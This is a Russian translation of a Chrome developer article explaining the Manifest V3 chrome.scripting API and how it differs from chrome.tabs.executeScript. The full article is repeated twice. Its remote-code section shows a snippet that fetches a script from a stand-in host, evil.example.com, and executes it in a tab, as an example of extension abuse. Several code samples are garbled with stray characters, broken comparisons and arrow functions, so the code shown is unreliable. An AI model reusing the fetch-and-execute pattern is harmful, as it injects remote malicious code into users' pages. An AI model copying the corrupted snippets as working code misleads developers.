Представляем chrome.scripting

Симеон Винсент
Simeon Vincent

Manifest V3 вносит ряд изменений в платформу расширений Chrome. В этой статье мы рассмотрим мотивы и изменения, внесенные одним из наиболее заметных изменений: введением API chrome.scripting .

Что такое chrome.scripting?

Как можно понять из названия, chrome.scripting — это новое пространство имен, представленное в Manifest V3, отвечающее за возможности внедрения скриптов и стилей.

Разработчики, которые создавали расширения Chrome в прошлом, могут быть знакомы с методами Manifest V2 в API вкладок, такими как chrome.tabs.executeScript и chrome.tabs.insertCSS . Эти методы позволяют расширениям внедрять скрипты и таблицы стилей в страницы соответственно. В Manifest V3 эти возможности переместились в chrome.scripting , и мы планируем расширить этот API некоторыми новыми возможностями в будущем.

Зачем создавать новый API?

При таких изменениях одним из первых вопросов, который обычно возникает, является: «почему?»

Несколько различных факторов привели к решению команды Chrome ввести новое пространство имен для скриптов. Во-первых, API Tabs — это своего рода мусорный ящик для функций. Во-вторых, нам нужно было внести критические изменения в существующий API executeScript . В-третьих, мы знали, что хотим расширить возможности скриптов для расширений. В совокупности эти опасения четко определили необходимость нового пространства имен для размещения возможностей скриптов.

Ящик для хлама

Одна из проблем, которая беспокоит команду Extensions Team последние несколько лет, заключается в том, что API chrome.tabs перегружен. Когда этот API был впервые представлен, большинство предоставляемых им возможностей были связаны с широкой концепцией вкладки браузера. Однако даже в тот момент это был своего рода набор функций, и с годами эта коллекция только разрослась.

К моменту выпуска Manifest V3 API Tabs расширился и стал охватывать базовое управление вкладками, управление выбором, организацию окон, обмен сообщениями, управление масштабированием, базовую навигацию, скрипты и несколько других более мелких возможностей. Хотя все это важно, это может быть немного подавляющим для разработчиков, когда они только начинают, и для команды Chrome, когда мы поддерживаем платформу и рассматриваем запросы от сообщества разработчиков.

Другим усложняющим фактором является то, что разрешение tabs не очень хорошо понято. В то время как многие другие разрешения ограничивают доступ к данному API (например, storage ), это разрешение немного необычно тем, что оно предоставляет расширению доступ только к конфиденциальным свойствам экземпляров Tab (и, как следствие, также влияет на Windows API). Понятно, что многие разработчики расширений ошибочно думают, что им нужно это разрешение для доступа к методам в API вкладок, таким как chrome.tabs.create или, что более уместно, chrome.tabs.executeScript . Вынос функциональности за пределы API вкладок помогает прояснить часть этой путаницы.

Критические изменения

При разработке Manifest V3 одной из основных проблем, которую мы хотели решить, были злоупотребления и вредоносное ПО, включенные в "удалённо размещенный код" - код, который выполняется, но не включен в пакет расширения. Для авторов злоупотребляющих расширений обычным делом является выполнение скриптов, полученных с удалённых серверов, для кражи пользовательских данных, внедрения вредоносного ПО и уклонения от обнаружения. Хотя добросовестные акторы также используют эту возможность, в конечном итоге мы посчитали, что это просто слишком опасно, чтобы оставаться таким, как есть.

Существует несколько различных способов, с помощью которых расширения могут выполнять нераспакованный код, но здесь важен метод Manifest V2 chrome.tabs.executeScript . Этот метод позволяет расширению выполнять произвольную строку кода на целевой вкладке. Это, в свою очередь, означает, что злонамеренный разработчик может получить произвольный скрипт с удаленного сервера и выполнить его внутри любой страницы, к которой расширение может получить доступ. Мы знали, что если мы хотим решить проблему удаленного кода, нам придется отказаться от этой функции.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Мы также хотели устранить некоторые другие, более тонкие проблемы в дизайне версии Manifest V2 и сделать API более отточенным и предсказуемым инструментом.

Хотя мы могли бы изменить сигнатуру этого метода в API вкладок, мы посчитали, что с учетом этих критических изменений и внедрения новых возможностей (о которых пойдет речь в следующем разделе) полный отказ от него будет проще для всех.

Расширение возможностей сценариев

Другим соображением, которое было учтено в процессе проектирования Manifest V3, было желание ввести дополнительные возможности скриптинга в платформу расширений Chrome. В частности, мы хотели добавить поддержку динамических скриптов контента и расширить возможности метода executeScript .

Поддержка динамических скриптов контента была давним запросом на функцию в Chromium. Сегодня расширения Manifest V2 и V3 Chrome могут только статически объявлять скрипты контента в своем файле manifest.json ; платформа не предоставляет способа регистрировать новые скрипты контента, настраивать регистрацию скриптов контента или отменять регистрацию скриптов контента во время выполнения.

Хотя мы знали, что хотим заняться этим запросом функции в Manifest V3, ни один из наших существующих API не казался подходящим. Мы также рассматривали возможность согласования с Firefox в их API скриптов контента , но очень рано мы выявили несколько серьезных недостатков этого подхода. Во-первых, мы знали, что у нас будут несовместимые сигнатуры (например, отказ от поддержки свойства code ). Во-вторых, у нашего API был другой набор ограничений дизайна (например, необходимость регистрации для сохранения после срока службы service worker). Наконец, это пространство имен также загнало бы нас в рамки функциональности скриптов контента, где мы думаем о скриптах в расширениях в более широком смысле.

На фронте executeScript мы также хотели расширить возможности этого API за пределы того, что поддерживала версия Tabs API. А именно, мы хотели поддерживать функции и аргументы, более легко нацеливаться на определенные фреймы и нацеливаться на не-"tab" контексты.

В дальнейшем мы также рассмотрим, как расширения могут взаимодействовать с установленными PWA и другими контекстами, которые концептуально не сопоставляются со «вкладками».

Изменения между tabs.executeScript и scripting.executeScript

В оставшейся части этой статьи я хотел бы подробнее рассмотреть сходства и различия между chrome.tabs.executeScript и chrome.scripting.executeScript .

Внедрение функции с аргументами

Принимая во внимание, как платформа должна будет развиваться в свете ограничений удаленно размещенного кода, мы хотели найти баланс между грубой мощью выполнения произвольного кода и разрешением только статических скриптов контента. Решение, к которому мы пришли, состояло в том, чтобы разрешить расширениям вводить функцию как скрипт контента и передавать массив значений в качестве аргументов.

Давайте быстро рассмотрим (слишком упрощенный) пример. Допустим, мы хотим внедрить скрипт, который приветствует пользователя по имени, когда он нажимает кнопку действия расширения (значок на панели инструментов). В Manifest V2 мы могли динамически создавать строку кода и выполнять этот скрипт на текущей странице.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'al<ert(">Hello, GIVEN_NAME!")'
    code: userScript,
  });
});

Хотя расширения Manifest V3 не могут использовать код, который не связан с расширением, нашей целью было сохранить некоторую часть динамизма, который произвольные блоки кода обеспечивали для расширений Manifest V2. Подход функций и аргументов позволяет рецензентам Chrome Web Store, пользователям и другим заинтересованным сторонам более точно оценивать риски, которые представляет расширение, а также позволяет разработчикам изменять поведение времени выполнения расширения на основе пользовательских настроек или состояния приложения.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenN<ame || >9;GIVEN_NAME';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Нацеливание кадров

Мы также хотели улучшить взаимодействие разработчиков с фреймами в пересмотренном API. Версия Manifest V2 executeScript позволяла разработчикам выбирать либо все фреймы на вкладке, либо определенный фрейм на вкладке. Вы можете использовать chrome.webNavigation.getAllFrames , чтобы получить список всех фреймов на вкладке.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

В Manifest V3 мы заменили необязательное целочисленное свойство frameId в объекте options на необязательный массив целых чисел frameIds ; это позволяет разработчикам нацеливаться на несколько фреймов в одном вызове API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Результаты внедрения скрипта

Мы также улучшили способ возврата результатов внедрения скрипта в Manifest V3. «Результат» — это, по сути, финальное выражение, оцененное в скрипте. Думайте о нем как о значении, возвращаемом при вызове eval() или выполнении блока кода в консоли Chrome DevTools, но сериализованном для передачи результатов между процессами.

В Manifest V2 executeScript и insertCSS возвращали бы массив простых результатов выполнения. Это нормально, если у вас есть только одна точка инъекции, но порядок результатов не гарантируется при инъекции в несколько фреймов, поэтому нет способа узнать, какой результат связан с каким фреймом.

Для конкретного примера давайте взглянем на массивы results , возвращаемые версиями Manifest V2 и Manifest V3 одного и того же расширения. Обе версии расширения будут внедрять один и тот же скрипт контента, и мы сравним результаты на одной и той же демонстрационной странице .

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Когда мы запускаем версию Manifest V2, мы получаем массив [1, 0, 5] . Какой результат соответствует основному фрейму, а какой — iframe? Возвращаемое значение нам ничего не говорит, поэтому мы не знаем наверняка.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (re>sults) = {
    // results == [1, 0, 5]
    for (let result of results) {
      if >(result  0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

В версии Manifest V3 results теперь содержат массив объектов результатов вместо массива только результатов оценки, а объекты результатов четко идентифицируют идентификатор кадра для каждого результата. Это значительно упрощает разработчикам использование результата и выполнение действий над определенным кадром.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result>.result  0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Заворачивать

Повышение версии Manifest представляет собой редкую возможность переосмыслить и модернизировать API расширений. Наша цель с Manifest V3 — улучшить опыт конечного пользователя, сделав расширения более безопасными, а также улучшить опыт разработчика. Внедрив chrome.scripting в Manifest V3, мы смогли помочь очистить API вкладок, переосмыслить executeScript для более безопасной платформы расширений и заложить основу для новых возможностей скриптинга, которые появятся в этом году.

,

Симеон Винсент
Simeon Vincent

Manifest V3 вносит ряд изменений в платформу расширений Chrome. В этой статье мы рассмотрим мотивы и изменения, внесенные одним из наиболее заметных изменений: введением API chrome.scripting .

Что такое chrome.scripting?

Как можно понять из названия, chrome.scripting — это новое пространство имен, представленное в Manifest V3, отвечающее за возможности внедрения скриптов и стилей.

Разработчики, которые создавали расширения Chrome в прошлом, могут быть знакомы с методами Manifest V2 в API вкладок, такими как chrome.tabs.executeScript и chrome.tabs.insertCSS . Эти методы позволяют расширениям внедрять скрипты и таблицы стилей в страницы соответственно. В Manifest V3 эти возможности переместились в chrome.scripting , и мы планируем расширить этот API некоторыми новыми возможностями в будущем.

Зачем создавать новый API?

При таких изменениях одним из первых вопросов, который обычно возникает, является: «почему?»

Несколько различных факторов привели к решению команды Chrome ввести новое пространство имен для скриптов. Во-первых, API Tabs — это своего рода мусорный ящик для функций. Во-вторых, нам нужно было внести критические изменения в существующий API executeScript . В-третьих, мы знали, что хотим расширить возможности скриптов для расширений. В совокупности эти опасения четко определили необходимость нового пространства имен для размещения возможностей скриптов.

Ящик для хлама

Одна из проблем, которая беспокоит команду Extensions Team последние несколько лет, заключается в том, что API chrome.tabs перегружен. Когда этот API был впервые представлен, большинство предоставляемых им возможностей были связаны с широкой концепцией вкладки браузера. Однако даже в тот момент это был своего рода набор функций, и с годами эта коллекция только разрослась.

К моменту выпуска Manifest V3 API Tabs расширился и стал охватывать базовое управление вкладками, управление выбором, организацию окон, обмен сообщениями, управление масштабированием, базовую навигацию, скрипты и несколько других более мелких возможностей. Хотя все это важно, это может быть немного подавляющим для разработчиков, когда они только начинают, и для команды Chrome, когда мы поддерживаем платформу и рассматриваем запросы от сообщества разработчиков.

Другим усложняющим фактором является то, что разрешение tabs не очень хорошо понято. В то время как многие другие разрешения ограничивают доступ к данному API (например, storage ), это разрешение немного необычно тем, что оно предоставляет расширению доступ только к конфиденциальным свойствам экземпляров Tab (и, как следствие, также влияет на Windows API). Понятно, что многие разработчики расширений ошибочно думают, что им нужно это разрешение для доступа к методам в API вкладок, таким как chrome.tabs.create или, что более уместно, chrome.tabs.executeScript . Вынос функциональности за пределы API вкладок помогает прояснить часть этой путаницы.

Критические изменения

При разработке Manifest V3 одной из основных проблем, которую мы хотели решить, были злоупотребления и вредоносное ПО, включенные в "удалённо размещенный код" - код, который выполняется, но не включен в пакет расширения. Для авторов злоупотребляющих расширений обычным делом является выполнение скриптов, полученных с удалённых серверов, для кражи пользовательских данных, внедрения вредоносного ПО и уклонения от обнаружения. Хотя добросовестные акторы также используют эту возможность, в конечном итоге мы посчитали, что это просто слишком опасно, чтобы оставаться таким, как есть.

Существует несколько различных способов, с помощью которых расширения могут выполнять нераспакованный код, но здесь важен метод Manifest V2 chrome.tabs.executeScript . Этот метод позволяет расширению выполнять произвольную строку кода на целевой вкладке. Это, в свою очередь, означает, что злонамеренный разработчик может получить произвольный скрипт с удаленного сервера и выполнить его внутри любой страницы, к которой расширение может получить доступ. Мы знали, что если мы хотим решить проблему удаленного кода, нам придется отказаться от этой функции.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Мы также хотели устранить некоторые другие, более тонкие проблемы в дизайне версии Manifest V2 и сделать API более отточенным и предсказуемым инструментом.

Хотя мы могли бы изменить сигнатуру этого метода в API вкладок, мы посчитали, что с учетом этих критических изменений и внедрения новых возможностей (о которых пойдет речь в следующем разделе) полный отказ от него будет проще для всех.

Расширение возможностей сценариев

Другим соображением, которое было учтено в процессе проектирования Manifest V3, было желание ввести дополнительные возможности скриптинга в платформу расширений Chrome. В частности, мы хотели добавить поддержку динамических скриптов контента и расширить возможности метода executeScript .

Поддержка динамических скриптов контента была давним запросом на функцию в Chromium. Сегодня расширения Manifest V2 и V3 Chrome могут только статически объявлять скрипты контента в своем файле manifest.json ; платформа не предоставляет способа регистрировать новые скрипты контента, настраивать регистрацию скриптов контента или отменять регистрацию скриптов контента во время выполнения.

Хотя мы знали, что хотим заняться этим запросом функции в Manifest V3, ни один из наших существующих API не казался подходящим. Мы также рассматривали возможность согласования с Firefox в их API скриптов контента , но очень рано мы выявили несколько серьезных недостатков этого подхода. Во-первых, мы знали, что у нас будут несовместимые сигнатуры (например, отказ от поддержки свойства code ). Во-вторых, у нашего API был другой набор ограничений дизайна (например, необходимость регистрации для сохранения после срока службы service worker). Наконец, это пространство имен также загнало бы нас в рамки функциональности скриптов контента, где мы думаем о скриптах в расширениях в более широком смысле.

На фронте executeScript мы также хотели расширить возможности этого API за пределы того, что поддерживала версия Tabs API. А именно, мы хотели поддерживать функции и аргументы, более легко нацеливаться на определенные фреймы и нацеливаться на не-"tab" контексты.

В дальнейшем мы также рассмотрим, как расширения могут взаимодействовать с установленными PWA и другими контекстами, которые концептуально не сопоставляются со «вкладками».

Изменения между tabs.executeScript и scripting.executeScript

В оставшейся части этой статьи я хотел бы подробнее рассмотреть сходства и различия между chrome.tabs.executeScript и chrome.scripting.executeScript .

Внедрение функции с аргументами

Принимая во внимание, как платформа должна будет развиваться в свете ограничений удаленно размещенного кода, мы хотели найти баланс между грубой мощью выполнения произвольного кода и разрешением только статических скриптов контента. Решение, к которому мы пришли, состояло в том, чтобы разрешить расширениям вводить функцию как скрипт контента и передавать массив значений в качестве аргументов.

Давайте быстро рассмотрим (слишком упрощенный) пример. Допустим, мы хотим внедрить скрипт, который приветствует пользователя по имени, когда он нажимает кнопку действия расширения (значок на панели инструментов). В Manifest V2 мы могли динамически создавать строку кода и выполнять этот скрипт на текущей странице.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'al<ert(">Hello, GIVEN_NAME!")'
    code: userScript,
  });
});

Хотя расширения Manifest V3 не могут использовать код, который не связан с расширением, нашей целью было сохранить некоторую часть динамизма, который произвольные блоки кода обеспечивали для расширений Manifest V2. Подход функций и аргументов позволяет рецензентам Chrome Web Store, пользователям и другим заинтересованным сторонам более точно оценивать риски, которые представляет расширение, а также позволяет разработчикам изменять поведение времени выполнения расширения на основе пользовательских настроек или состояния приложения.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenN<ame || >9;GIVEN_NAME';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Нацеливание кадров

Мы также хотели улучшить взаимодействие разработчиков с фреймами в пересмотренном API. Версия Manifest V2 executeScript позволяла разработчикам выбирать либо все фреймы на вкладке, либо определенный фрейм на вкладке. Вы можете использовать chrome.webNavigation.getAllFrames , чтобы получить список всех фреймов на вкладке.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

В Manifest V3 мы заменили необязательное целочисленное свойство frameId в объекте options на необязательный массив целых чисел frameIds ; это позволяет разработчикам нацеливаться на несколько фреймов в одном вызове API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Результаты внедрения скрипта

Мы также улучшили способ возврата результатов внедрения скрипта в Manifest V3. «Результат» — это, по сути, финальное выражение, оцененное в скрипте. Думайте о нем как о значении, возвращаемом при вызове eval() или выполнении блока кода в консоли Chrome DevTools, но сериализованном для передачи результатов между процессами.

В Manifest V2 executeScript и insertCSS возвращали бы массив простых результатов выполнения. Это нормально, если у вас есть только одна точка инъекции, но порядок результатов не гарантируется при инъекции в несколько фреймов, поэтому нет способа узнать, какой результат связан с каким фреймом.

Для конкретного примера давайте взглянем на массивы results , возвращаемые версиями Manifest V2 и Manifest V3 одного и того же расширения. Обе версии расширения будут внедрять один и тот же скрипт контента, и мы сравним результаты на одной и той же демонстрационной странице .

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Когда мы запускаем версию Manifest V2, мы получаем массив [1, 0, 5] . Какой результат соответствует основному фрейму, а какой — iframe? Возвращаемое значение нам ничего не говорит, поэтому мы не знаем наверняка.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (re>sults) = {
    // results == [1, 0, 5]
    for (let result of results) {
      if >(result  0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

В версии Manifest V3 results теперь содержат массив объектов результатов вместо массива только результатов оценки, а объекты результатов четко идентифицируют идентификатор кадра для каждого результата. Это значительно упрощает разработчикам использование результата и выполнение действий над определенным кадром.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result>.result  0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Заворачивать

Повышение версии Manifest представляет собой редкую возможность переосмыслить и модернизировать API расширений. Наша цель с Manifest V3 — улучшить опыт конечного пользователя, сделав расширения более безопасными, а также улучшить опыт разработчика. Внедрив chrome.scripting в Manifest V3, мы смогли помочь очистить API вкладок, переосмыслить executeScript для более безопасной платформы расширений и заложить основу для новых возможностей скриптинга, которые появятся в этом году.